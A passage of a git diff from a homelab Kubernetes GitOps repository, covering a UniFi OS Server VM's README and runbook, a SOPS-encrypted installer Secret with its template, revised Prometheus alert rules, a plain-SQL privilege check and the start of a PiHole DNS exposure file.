+3. **`apps-vms` DOES use `postBuild.substituteFrom`.** This file used to say it must not — that has
+   been false since 2026-08-31, when `${UNIFI_L4_VIP}` landed in `50-service-l4.yaml`. Flux's
+   envsubst therefore runs over the cloud-init payload, and the escape contract in
+   `clusters/base/apps-vms.yaml` is in force. Bare `$name` and `$(cmd)` are left alone (verified
+   against the live VMI's rendered userData); brace-form shell expansion must be escaped; an
+   indexed expansion is a hard error that fails the whole Kustomization.
 
 ### Node prerequisites this VM forced onto the cluster
 
@@ -56,15 +101,31 @@ this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that la
 - **`longhorn-scratch`** — a single-replica StorageClass for CDI scratch space; the default
   3-replica class made the import fail with insufficient storage.
 
-## UOS install method (researched)
+## UOS install method (researched 2026-09-14)
 
-- **Host:** Ubuntu 24.04 LTS x86-64, systemd, **Podman 4.9.3+**, `slirp4netns` 1.2+, `uidmap`. Min
-  2 GB RAM / 10 GB disk (we give 4 GB / 60 GB). Podman must be at `/usr/bin/podman`.
-- **Install:** download the signed installer from `fw-download.ubnt.com` (URL obtained from
-  `ui.com/download/software/unifi-os-server`), `chmod +x`, run **as root**. UI then on
-  **`https://<host>:11443`**.
-- **Confidence:** *High* on requirements, ports, and the download→chmod→run shape (multiple
-  independent 2025–2026 sources agree). *Lower* on **fully unattended** install — see risks.
+- **Host:** Ubuntu 24.04 LTS x86-64, systemd, **Podman 4.9.3+**, `slirp4netns` 1.2+, `uidmap`.
+  Vendor/community minimum is 2 vCPU / 4 GB RAM / ~25 GB disk; we give **2 vCPU / 4 GiB / 40Gi**
+  (the 40Gi figure is the DataVolume and the Bound PVC — an earlier "60 GB" claim here was wrong).
+  Podman must be at `/usr/bin/podman`.
+- **Install:** obtain the download link from `ui.com/download/software/unifi-os-server` while signed
+  in to a (free) Ubiquiti account, `chmod +x`, run **as root**. UI then on **`https://<host>:11443`**.
+- **Is the URL a short-lived signed link?** *Probably not.* The links look like
+  `https://fw-download.ubnt.com/data/unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` with
+  **no signature query string**, and public community installers hard-code them. It is
+  account-derived and per-release, not time-limited. It is kept in SOPS anyway — cheap, and it keeps
+  account-derived material out of plaintext config — but do **not** build logic around expiry.
+- **Can it run unattended? Yes in practice, no officially — and this is the honest answer.**
+  Ubiquiti documents no `--silent` flag, no answer file and no environment variables. What the
+  ecosystem actually does is pipe confirmations in: the widely used community installer
+  (`dgodibadze/UniFi_OS_Server`) runs `yes y | "$file" install`, and vendor-adjacent walkthroughs run
+  either `./<binary> install` or a bare `sudo ./<binary>`. `install-uos` therefore does
+  `yes y | $t install || yes y | $t` — the documented-by-practice form first, the bare form as a
+  fallback for builds that take no subcommand. **This has not been executed end-to-end on our guest**
+  (no URL has been supplied, and UOS is already installed here), so treat it as "established by
+  convergent third-party practice", not as verified-by-us.
+- The previously shipped helper had two defects worth recording: it resolved the URL from
+  `fw-update.ui.com/api/firmware-latest`, an endpoint nothing in this repo ever verified lists
+  `unifi-os-server`, and it invoked the binary with **no `install` subcommand**.
 
 ### Ports (device adoption needs the L4 ones — the L7 Gateway cannot express them)
 
@@ -78,76 +139,143 @@ this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that la
 | 3478 | UDP | **STUN** (device ⇄ controller) |
 | 10001 | UDP | **L2 device discovery** |
 
+**22/TCP is deliberately absent**, and that is load-bearing: a masquerade interface forwards only
+the ports it declares, so SSH into this guest is impossible by construction. Use the serial console.
+
 ## L4 exposure design (the hard part)
 
 The shared Gateway is L7 HTTPS only (`:443` host-routed). It **cannot** carry raw TCP `8080`/`6789`
 or any UDP (`3478`/`10001`) — exactly the ports adoption rides. So:
 
 - **One VIP, two Services.** `unifi-l4-tcp` + `unifi-l4-udp` share a single LoadBalancer IP via
-  Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned to **`192.168.1.54`** (`lbipam.cilium.io/ips`).
-  The VIP is pulled from the existing `default-pool` (192.168.1.53–.60) and **ARP-announced on the
-  flat LAN by the existing `default-l2` CiliumL2AnnouncementPolicy** — no new Cilium config.
+  Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned through `${UNIFI_L4_VIP}`
+  (`lbipam.cilium.io/ips`) — **192.168.2.21 on prod**. The VIP comes from the existing
+  `default-pool`, whose live prod block is **192.168.2.20–192.168.2.30** with **192.168.2.20 held by
+  the shared Gateway** (`cilium-gateway-shared`), and is ARP-announced on the flat LAN by the
+  existing `default-l2` CiliumL2AnnouncementPolicy — no new Cilium config. (The `192.168.1.53–.60`
+  / `.53` figures this section used to quote were **dev** addressing and are gone; dev has been
+  decommissioned. Neighbours in the prod pool today: `.22` crafty, `.23` pihole-dns.)
 - `selector: kubevirt.io/vm=unifi` → the virt-launcher pod; the VM's `masquerade` iface forwards the
-  declared ports into the guest. `externalTrafficPolicy: Local` preserves LAN client source IP.
-- **Device-adoption story:** point devices' **inform host** at the VIP (`http://192.168.1.54:8080/inform`)
-  — via the controller's *Override inform host* setting, `set-inform` on the device, or DHCP option 43.
-  Because the VIP is L2-announced on the devices' own subnet (192.168.1.0/24), unicast inform + STUN
-  reach it. **Limitation:** broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod
-  masquerade boundary, so zero-touch "device just appears" adoption is unreliable — expect to use
-  explicit inform. Devices on other VLANs must route to the VIP and be inform-pointed anyway.
-- **Reusable pattern (== the deferred `minecraft` :25565 problem):** L4-only workload → Cilium
-  LoadBalancer on a pinned, L2-announced VIP with a per-app sharing key, A record via external-dns.
-  `minecraft` is the single-TCP-port special case of this multi-port TCP+UDP design.
+  declared ports into the guest.
+- **`externalTrafficPolicy: Cluster`, corrected 2026-09-14 after an 8-day LAN outage.** This file
+  used to advertise `Local` "to preserve the LAN client source IP". Both halves were false here:
+  Cilium's L2 announcer elects a lease holder without regard to which node holds a backend (the
+  leases sat on `k3s-prod-2` while the VM ran on `k3s-prod-1`, so `Local` had nowhere to forward),
+  and KubeVirt's `masquerade` binding had already NATed the client IP away before the guest ever saw
+  it. The full reasoning — including why `40-networkpolicy.yaml` needs no `remote-node` entry and
+  why no `loadBalancerSourceRanges` was added — is in `50-service-l4.yaml`.
+- **Device-adoption story:** point devices' **inform host** at the VIP
+  (`http://192.168.2.21:8080/inform`) — via the controller's *Override inform host* setting,
+  `set-inform` on the device, or DHCP option 43. Because the VIP is L2-announced on the devices' own
+  subnet (**192.168.2.0/24**, `LAN_CIDR`), unicast inform + STUN reach it. **Limitation:**
+  broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod masquerade boundary, so
+  zero-touch "device just appears" adoption is unreliable — expect to use explicit inform. Devices
+  on other VLANs must route to the VIP and be inform-pointed anyway.
+- **Reusable pattern:** L4-only workload → Cilium LoadBalancer on a pinned, L2-announced VIP with a
+  per-app sharing key, A record via external-dns. `crafty` (`.22`) is the same shape and is live.
 
-**UI access:** `https://unifi.home.keithjackson.dev:11443` (A record → VIP). The port-less
-`https://unifi.home.keithjackson.dev` via the Gateway is optional and needs a BackendTLSPolicy
-(UOS is HTTPS-only on 11443) — see `90-httproute-optional.yaml`.
+**UI access:** `https://unifi.home.keithjackson.dev:11443`. That name resolves to the VIP and not to
+the Gateway on purpose: both `platform/coredns/coredns-custom.yaml` (in-cluster) and
+`apps/wave-0/pihole.yaml` (LAN split-horizon) carve `unifi.${BASE_DOMAIN}` out of the
+zone-wide `${GATEWAY_VIP}` answer and point it at `${UNIFI_L4_VIP}`. `${BASE_DOMAIN}` on prod is the
+apex `home.keithjackson.dev` (confirmed live in the `cluster-vars` ConfigMap) after the 2026-09-13
+flip, so this hostname is current, not a dev leftover.
+
+## The operator's one field — installing UOS without a shell
+
+`unifi-uos-installer.sops.yaml` is a SOPS-encrypted Secret with two keys. KubeVirt mounts it into
+the guest as a read-only iso9660 disk labelled `UOSDATA` (one file per key), and an in-guest
+`uos-install.service` reads it **on every boot**:
+
+```bash
+sops apps/vms/unifi/unifi-uos-installer.sops.yaml    # fill installer-url and/or console-password
+git commit && git push                               # merge to the branch prod's Flux tracks
+kubectl -n unifi delete vmi unifi                    # `running: true` recreates it; no virtctl needed
+kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1) \
+  -c guest-console-log                               # watch the boot + the install, read-only
+```
+
+Design notes that matter if you change this:
+
+- **The Secret is a disk, not `cloudInitNoCloud.secretRef`.** `secretRef` would lift the 2048-byte
+  cap but would move the whole cloud-config into ciphertext: unreviewable in diffs, invisible to the
+  L0 dollar-collapse guard, and still subject to Flux's envsubst (which runs over **decrypted**
+  resources) — the exact shape of the 2026-09-13 `nextcloud-db` incident. Script in plaintext,
+  operator values in SOPS.
+- **A URL change needs no UUID bump.** The disk is rebuilt from the Secret on every VMI start and
+  the systemd unit re-reads it every boot. Only a change to the cloud-init payload itself needs the
+  firmware-UUID bump.
+- **`install-uos` will not reinstall over a working controller.** It exits as soon as systemd knows
+  a `uosserver.service`, with `/var/lib/uos-installed` as a weaker second guard. Given the live
+  guest already has UOS, this guard is the difference between "safe to merge" and "destroys the
+  controller on next boot".
+- **`apps-vms` had no SOPS `decryption` stanza** — this is the first encrypted content under
+  `apps/vms/`, so the stanza was added to both `clusters/dev/kustomization.yaml` and
+  `clusters/prod/kustomization.yaml`. Without it kustomize hands Flux the raw SOPS document and the
+  guest mounts a disk full of ciphertext, with the cluster reporting everything healthy.
 
 ## Open questions / risks
 
-1. **Unattended install (HIGH) — STILL OPEN. This is the blocker.** The installer is a **signed,
-   account-tied** URL that **rotates/expires** (cannot be committed) and is documented as
-   **interactive** (no official silent flag). The shipped cloud-init had to be cut to ~1.1 KB for
-   the inline `userData` limit, so the `install-uos` helper is **no longer baked into the guest**.
-   **Decision needed:** operator runs the install by hand at bring-up (current de-facto answer), or
-   invest in a verified silent path (Secret-delivered cloud-init + a fetched-at-boot URL).
-2. **CDI http import (MEDIUM) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
+1. **The guest lost its IP (HIGH) — THE LIVE BLOCKER, and it needs the operator.** Diagnosis
+   requires a shell, which requires `console-password` above plus one restart. First things to run
+   on the console: `ip -4 a`, `networkctl status enp1s0`, `journalctl -u systemd-networkd`,
+   `ls /etc/netplan`, and `systemctl status uosserver`. A plain restart may well restore DHCP on its
+   own (the address survived the first ~34h of this boot's life), but that would hide the cause, so
+   capture the state before rebooting a second time if you can.
+2. **Unattended install (MEDIUM) — mechanism shipped, end-to-end run NOT witnessed.** See the
+   install-method section: no official silent flag exists, `yes y | <installer> install` is the
+   convergent community practice, and it has not been executed on our guest. Treat the first real
+   install as something to watch on the console log, not as a fire-and-forget.
+3. **CDI http import (LOW) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
    import on this cluster). Still no checksum on an http source, and the URL tracks a *moving*
    Ubuntu 24.04 build — pin a dated build dir if reproducibility matters. Needed two cluster-level
    fixes (`nonroot-devices`, `longhorn-scratch`) — see above.
-3. **Boot firmware (LOW) — RESOLVED.** Boots as shipped; running Ubuntu 24.04.4 LTS.
-4. **VIP `192.168.1.54` (LOW) — RESOLVED.** Allocated and held by both Services, inside the
-   `192.168.1.53–.60` pool (`.53` is the shared Gateway).
-5. **Longhorn RWX prerequisite (was BLOCKING) — RESOLVED.** `longhorn-vm` is live (RWX / Block /
+4. **Boot firmware (LOW) — RESOLVED.** Boots as shipped; running Ubuntu 24.04.4 LTS.
+5. **VIP `192.168.2.21` (LOW) — RESOLVED.** Allocated and held by both Services, inside the live
+   prod pool `192.168.2.20–.30`, not colliding with the Gateway (`.20`), crafty (`.22`), pihole-dns
+   (`.23`) or the node addresses (`.10/.11/.12`).
+6. **Longhorn RWX prerequisite (was BLOCKING) — RESOLVED.** `longhorn-vm` is live (RWX / Block /
    migratable); the VMI reports `LiveMigratable=True` and `StorageLiveMigratable=True`.
-6. **Licensing (LOW).** UOS self-host is free; a Ubiquiti account is needed only to fetch the
+7. **Licensing (LOW).** UOS self-host is free; a Ubiquiti account is needed only to fetch the
    installer and for optional remote access.
-7. **Broadcast adoption (LOW, by design).** L2 auto-discovery (`10001/udp`) does not cross the pod
+8. **Broadcast adoption (LOW, by design).** L2 auto-discovery (`10001/udp`) does not cross the pod
    masquerade boundary — see the L4 section. Expect explicit inform-host adoption.
+9. **No `virtctl` in the devcontainer (LOW).** Restart and read-only console both work with plain
+   `kubectl` (above). An *interactive* console — the thing `console-password` unlocks — needs
+   `virtctl` on the operator's path; it is a single static binary from the KubeVirt release matching
+   the cluster's **v1.9.0**.
 
 ## Remaining bring-up
 
-Steps 1–4 below are **done**. The sequence is kept because it is also the recovery/rebuild runbook.
+Steps 1–5 are **done**. The sequence is kept because it is also the recovery/rebuild runbook, so it
+is written for a from-scratch cluster; the prod addresses are the live ones.
 
-1. ~~`longhorn-vm` StorageClass live; `192.168.1.54` free.~~ **Done.**
+1. ~~`longhorn-vm` StorageClass live; a free address in the LB pool.~~ **Done** (`192.168.2.21`).
 2. ~~Wire into a reconciled path~~ — **done**, via `apps/vms/` + the non-gating `apps-vms`
-   Kustomization (not an app wave).
+   Kustomization (not an app wave), including its SOPS `decryption` stanza in both overlays.
 3. ~~CDI import~~ — **done**: `kubectl -n unifi get dv unifi-rootdisk` → `Succeeded`.
 4. ~~VM + VIP~~ — **done**: `kubectl -n unifi get vmi unifi` → `Running`; both Services show
-   `192.168.1.54`.
-5. **→ NEXT: install UOS in the guest.** SSH in (the inline cloud-init installs the operator's key
-   and `qemu-guest-agent`) or `virtctl console unifi`, fetch the signed installer URL from
-   ui.com/download/software/unifi-os-server, then `chmod +x` and run it **as root**.
-6. Verify the UI: `https://unifi.home.keithjackson.dev:11443` (or `https://192.168.1.54:11443`),
+   `192.168.2.21`.
+5. ~~Install UOS in the guest~~ — **done** (it was already done when this file claimed otherwise;
+   `uosserver.service` starts on every boot). On a REBUILD this is where the Secret does the work:
+   fill `installer-url`, commit, and the guest installs itself on first boot.
+6. **→ NEXT, and it is the operator's:** fill `console-password`, restart the VM once, get on the
+   console and find out why `enp1s0` has no address. Until that is fixed nothing below can pass.
+7. Verify the UI: `https://unifi.home.keithjackson.dev:11443` (or `https://192.168.2.21:11443`),
    complete the first-run wizard.
-7. Verify DNS: `dig unifi.home.keithjackson.dev` → `192.168.1.54` on the cluster LAN.
-8. Adopt a device: set its inform to `http://192.168.1.54:8080/inform`; confirm it appears + STUN
+8. Verify DNS: `dig unifi.home.keithjackson.dev` → `192.168.2.21` from a LAN client (pihole
+   split-horizon) and from in-cluster (coredns-custom).
+9. Adopt a device: set its inform to `http://192.168.2.21:8080/inform`; confirm it appears + STUN
    connects (green). Test guest portal / throughput if used.
-9. Verify default-deny holds: only the declared L4 ports reachable; VM egress limited to world+DNS.
-10. (Optional) Re-add the L7 HTTPRoute once `BackendTLSPolicy` is confirmed on this Cilium version.
+10. Verify default-deny holds: only the declared L4 ports reachable; VM egress limited to world+DNS.
+11. (Optional) Re-add the L7 HTTPRoute once `BackendTLSPolicy` is confirmed on this Cilium version.
 
 **Quick health check today:**
 ```bash
 kubectl -n unifi get dv,vmi,svc
 kubectl -n unifi get vmi unifi -o jsonpath='{.status.guestOSInfo.prettyName}{"\n"}'
+# the two that would have caught the current failure:
+kubectl -n unifi get vmi unifi -o jsonpath='{.status.interfaces}{"\n"}'   # expect an ipAddress
+kubectl -n unifi exec "$(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1)" \
+  -c compute -- ip neigh                                                 # expect 10.0.2.2 REACHABLE
 ```

apps/vms/unifi/kustomization.yaml

@@ -11,3 +11,11 @@ resources:
   - 30-virtualmachine.yaml
   - 40-networkpolicy.yaml
   - 50-service-l4.yaml
+  # SOPS-encrypted. Carries the operator's UOS installer URL (+ optional SSH key) and is mounted
+  # into the guest as the UOSDATA disk by 30-virtualmachine.yaml. Decrypted by the `apps-vms` Flux
+  # Kustomization, which clusters/dev and clusters/prod patch with the `decryption` stanza — the
+  # FIRST encrypted content under apps/vms, so that patch was added with this file. The plaintext
+  # template + the operator hand-off steps live in the `.example` sibling of the file below, which
+  # is deliberately NOT named here: the L0 no-plaintext-secrets check fails any kustomization whose
+  # text contains an example template's filename, on the assumption it is being applied.
+  - unifi-uos-installer.sops.yaml

apps/vms/unifi/unifi-uos-installer.sops.yaml

@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: Secret
+metadata:
+    name: unifi-uos-installer
+    namespace: unifi
+type: Opaque
+stringData:
+    installer-url: ENC[AES256_GCM,data:pZo/fRSnUmZj2w==,iv:tBWMAL0NwCURCmfzx3UAtryCovcR+Rmh4DdtUiCi4Ig=,tag:ZfLicc3pBWujPHKqfSNOag==,type:str]
+    console-password: ENC[AES256_GCM,data:rQ6v6VjG4uoEShHic+zM,iv:nV7mTJFRsLvd67uZT+KyMrOhUVkERVv53LqsvcE5Qfs=,tag:9J/t2je48DRTVmppPqDfFQ==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB5M1RwWGhRKzNVenpzS25w
+            WW4vNHFURy9hMjRGeW0wdUJSaHN4MDFhSHlBCm1udi9NOWJ3RGdvOVNnRG9ZUlp4
+            TnVXRi90eFNSMjNVYVpUSmtFTURtU2MKLS0tIExPN2NRZW9CQXBKdUtCUkZSTXVO
+            cE9IcTM2RG9oMmt2Y0xsRExzUjYwUlEK6vq56tnnYvruNcCgijRUsfi3IreXt7fk
+            kgDevz3fOKkEJ3Y8+Mx3RBf3j6Za7L1lW7ft9TyTkBelRpj9bRD1Pg==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-09-19T02:47:13Z"
+    mac: ENC[AES256_GCM,data:DVJZQlHHb0U/F8oQ2iwPSTCvzHNynGZFW4MSHzW+LmNt8ozA7n2/U9prhRdrq3a1MHlaoGAkOFMGoQdZRR83CtZyP6oFoLiAMsRvNjNMgkaT1E3D7dzhjxAiTb+vQk9O467bH3ofm1+I/Ak3VFrNdjTtWFkWltW7MHB8njgPRPM=,iv:Sve3Z6RHKSWcdcEZtphBBmhRxjhfJHu9Dus2vb6K4+0=,tag:OrsGBPJVF1jtOAXCWNXG2Q==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/vms/unifi/unifi-uos-installer.sops.yaml.example

@@ -0,0 +1,71 @@
+# =============================================================================
+# TEMPLATE — NOT APPLIED, NOT ENCRYPTED (.yaml.example is ignored by kustomize and never
+# auto-encrypted by SOPS). Reference scaffold + OPERATOR HAND-OFF.
+#
+# WHAT THIS IS: the two values that (a) let the UniFi VM install UniFi OS Server by itself, with
+# nobody typing commands inside the guest, and (b) give the operator a way INTO that guest at all.
+# KubeVirt mounts this Secret into the VM as a tiny read-only iso9660 disk labelled `UOSDATA` (see
+# the `uosdata` volume in 30-virtualmachine.yaml); each key below becomes a file of the same name on
+# that disk, and the in-guest `uos-install.service` reads them on EVERY boot.
+#
+# READ THIS FIRST — UOS IS ALREADY INSTALLED ON THE LIVE PROD GUEST (verified 2026-09-14, see the
+# README "What is actually wrong"). `installer-url` is therefore NOT the fix for today's outage; it
+# is the rebuild path and the "the install never happened" path. `install-uos` refuses to run the
+# installer at all while systemd knows a `uosserver.service`, so filling this in cannot clobber a
+# working controller. `console-password` IS useful today: it is the only way to get a shell.
+#
+# WHY THE URL IS BEHIND SOPS: it is obtained through the operator's own (free) Ubiquiti account
+# session at ui.com/download/software/unifi-os-server, it identifies a specific build, and it is not
+# ours to redistribute. Treat it as account-derived material, not as public configuration.
+# HONEST CAVEAT, checked 2026-09-14: the resulting `https://fw-download.ubnt.com/data/
+# unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` URL carries NO signature query string,
+# and public community install scripts hard-code these URLs — so it does not behave like a
+# short-lived signed link. It does change every release. Encrypting it costs nothing and keeps the
+# repo's "account-derived material is not config" line clean, but do NOT design around "it expires".
+#
+# HAND-OFF STEPS (operator) — this is the whole job:
+#  (a) Sign in at https://ui.com/download/software/unifi-os-server, pick the Linux (x64) build, and
+#      copy the download link (right-click -> Copy link address). Do NOT download it here; the guest
+#      fetches it itself.
+#  (b) Open the encrypted sibling in your editor:
+#         sops apps/vms/unifi/unifi-uos-installer.sops.yaml
+#  (c) Replace the two REPLACE-ME values. Either may be left as the placeholder — the guest skips a
+#      placeholder rather than failing.
+#  (d) Save/quit (sops re-encrypts in place), commit, push, merge to the branch prod tracks.
+#  (e) Restart the VM once so the new cloud-init instance and the new disk are picked up:
+#         kubectl -n unifi delete vmi unifi        # `running: true` recreates it; no virtctl needed
+#      Watch it come up WITHOUT virtctl:
+#         kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher \
+#           -o name | head -1) -c guest-console-log
+#  (f) UI: https://192.168.2.21:11443 (prod) or https://unifi.home.keithjackson.dev:11443.
+#
+# IF YOU LATER NEED A NEW URL (new release, dead link): repeat (b)-(e). No firmware-UUID bump is
+# needed for that — the disk is rebuilt from this Secret on every VMI start and the systemd unit
+# re-reads it every boot. The UUID bump in 30-virtualmachine.yaml is only needed when the cloud-init
+# payload ITSELF changes.
+#
+# The file is already listed under `resources:` in apps/vms/unifi/kustomization.yaml, and `apps-vms`
+# is patched with the SOPS `decryption` stanza in clusters/dev + clusters/prod.
+# =============================================================================
+apiVersion: v1
+kind: Secret
+metadata:
+  name: unifi-uos-installer
+  namespace: unifi
+type: Opaque
+stringData:
+  # KEY NAMES ARE LOAD-BEARING: each key becomes a FILE of that exact name on the UOSDATA disk, and
+  # /usr/local/sbin/install-uos reads them by path. Renaming a key breaks the install silently.
+  #
+  # The signed-in download link for UniFi OS Server, Linux x64. Anything that is not an https URL
+  # (this placeholder included) is treated by the guest as "not provided yet": the unit logs
+  # "UOS installer-url not set yet" and exits 0, so the VM stays healthy and simply does not install.
+  installer-url: REPLACE-ME
+  # Password set on the guest's `ubuntu` account on every boot, for `virtctl -n unifi console unifi`.
+  # THIS IS THE ONLY DOOR INTO THE GUEST. The stock Ubuntu 24.04 cloud image ships `ubuntu` locked,
+  # no key was ever installed, and an SSH key would not help: the VM's masquerade interface forwards
+  # only the ports declared in 30-virtualmachine.yaml and 22 is not among them (probed from inside
+  # virt-launcher, 2026-09-14 — the guest RSTs on 22 just as it does on 11443). Generate one with
+  #     openssl rand -base64 24
+  # Leave it as REPLACE-ME to keep the account locked; the script skips the placeholder by name.
+  console-password: REPLACE-ME

apps/wave-0/gitea.yaml

@@ -238,26 +238,6 @@ spec:
     - name: gitea
       port: 3000
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: gitea
-  namespace: gitea
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: gitea
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: gitea
-  namespaceSelector:
-    matchNames:
-    - gitea
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -272,11 +252,11 @@ spec:
   - name: gitea.slis
     rules:
     - alert: gitea-down
-      expr: up{job="gitea"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"} == 0 or absent(kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"})
       for: 5m
       labels:
         severity: critical
         service: gitea
       annotations:
         summary: gitea is down
-        description: 'gitea has been unreachable for 5m (SLI: up).'
+        description: 'gitea: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/jackett.yaml

@@ -268,6 +268,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -284,26 +285,6 @@ spec:
     - name: jackett
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: jackett
-  namespace: jackett
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: jackett
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: jackett
-  namespaceSelector:
-    matchNames:
-    - jackett
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -318,11 +299,11 @@ spec:
   - name: jackett.slis
     rules:
     - alert: jackett-down
-      expr: up{job="jackett"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"} == 0 or absent(kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"})
       for: 5m
       labels:
         severity: critical
         service: jackett
       annotations:
         summary: jackett is down
-        description: 'jackett has been unreachable for 5m (SLI: up).'
+        description: 'jackett: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/kustomization.yaml

@@ -14,9 +14,12 @@ resources:
 - nextcloud-db-backup-credentials-prod.sops.yaml
 - nextcloud-db-backup-credentials.sops.yaml
 - nextcloud-db.yaml
+- pihole-dns.yaml
 - pihole-oauth2-proxy-credentials.sops.yaml
 - pihole.yaml
+- plex-claim-secret.sops.yaml
 - plex.yaml
+- qbittorrent-bootstrap-secret.sops.yaml
 - qbittorrent-oauth2-proxy-credentials.sops.yaml
 - qbittorrent.yaml
 - semaphore-db-app.sops.yaml

apps/wave-0/nextcloud-db.yaml

@@ -381,11 +381,20 @@ data:
 
     -- Fail the Job if the privilege is somehow still absent, so a broken
     -- reconciler surfaces as a failed Job rather than as a quiet blind spot.
-    DO $$
-    BEGIN
-      IF NOT has_database_privilege('cnpg_metrics_exporter', 'nextcloud', 'CONNECT') THEN
-        RAISE EXCEPTION 'cnpg_metrics_exporter still lacks CONNECT on database nextcloud';
-      END IF;
-      RAISE NOTICE 'converged: cnpg_metrics_exporter has CONNECT on database nextcloud';
-    END
-    $$;
+    -- NO PL/pgSQL, AND NOT ONE DOLLAR SIGN IN THIS FILE — DELIBERATE, including in these
+    -- comments. This assertion began life as a dollar-quoted DO block, which cannot survive
+    -- being shipped this way: the ConfigMap is rendered through Flux's postBuild
+    -- substitution, and envsubst collapses a doubled dollar into a single one. The block
+    -- reached Postgres with its opening quote halved and every Flux-reconciled run died
+    -- with a syntax error pointing at that character.
+    -- It PASSED when hand-applied with kubectl, because that path runs no envsubst — so
+    -- the defect was invisible until Flux owned the object, and three runs of Error pods
+    -- were the first sign. Escaping by doubling again would work and would also be the
+    -- next person's trap; plain SQL leaves substitution nothing to touch.
+    --
+    -- has_database_privilege() returns boolean; ::int is 1 when granted and 0 when not, so
+    -- the division raises division_by_zero and ON_ERROR_STOP=1 fails the Job. The divisor
+    -- is not a constant, so it cannot be folded away at plan time.
+    \echo 'asserting cnpg_metrics_exporter has CONNECT on database nextcloud'
+    SELECT 1 / has_database_privilege('cnpg_metrics_exporter', 'nextcloud', 'CONNECT')::int
+      AS exporter_can_connect;

apps/wave-0/pihole-dns.yaml

@@ -0,0 +1,196 @@
+---
+# =================================================================================================
+# PiHole DNS EXPOSURE — the LAN half of split-horizon (R-DNS-01 / R-DNS-03), and NETWORK POLICY.
+# =================================================================================================
+# HAND-WRITTEN, NOT RENDERED. This file is a non-catalog app-tier unit anchored to the `pihole`
+# ServiceDefinition and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS
+# table (the same mechanism gitea-actions uses). It is hand-written because the ServiceDefinition
+# schema genuinely cannot express it: schemas/servicedefinition.schema.json is
+# `additionalProperties: false` and has NO field for a type=LoadBalancer Service, for a pinned
+# lbipam VIP, for a sharing key, for loadBalancerSourceRanges, or for UDP north-south exposure at
+# all. `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator and
+# cannot carry DNS. The two existing L4 workloads in this repo are hand-written for exactly this
+# reason and in exactly this shape — apps/vms/unifi/50-service-l4.yaml and
+# platform/crafty/service-l4.yaml. The ANSWERS PiHole gives are declared in the catalog
+# (catalog/pihole.yaml `env`), so the only thing living outside the catalog is the exposure the
+# schema has no word for.
+#
+# WHY THIS EXISTS AT ALL: platform/coredns/coredns-custom.yaml is explicit that its split-horizon is
+# for PODS and defers LAN clients to "PiHole split-horizon" — but PiHole served no DNS. Its Service
+# was ClusterIP with ports 80 and 4180 only. The LAN half of the split-horizon that docs/09
+# (R-DNS-03) and the README's Phase 2 row both claim simply did not exist, and LAN clients ran on
+# hand-maintained per-client dnsmasq files instead. Upstream cannot substitute: the SOHO router that
+# owns this LAN strips RFC1918 answers for public domains as rebind protection (NOERROR, ANSWER 0).
+#
+# VIP: ${PIHOLE_DNS_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.56, prod 192.168.2.23), PINNED via
+# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
+# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the
+# existing CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config
+# is needed; these Services just consume the pool. PINNING IS NOT OPTIONAL HERE: this address is
+# typed into every LAN client's resolver configuration (or handed out by the router's DHCP), so it
+# can never be allowed to move.
+#
+# ONE VIP, TWO SERVICES: a LoadBalancer Service is single-protocol-friendly, so udp/53 and tcp/53
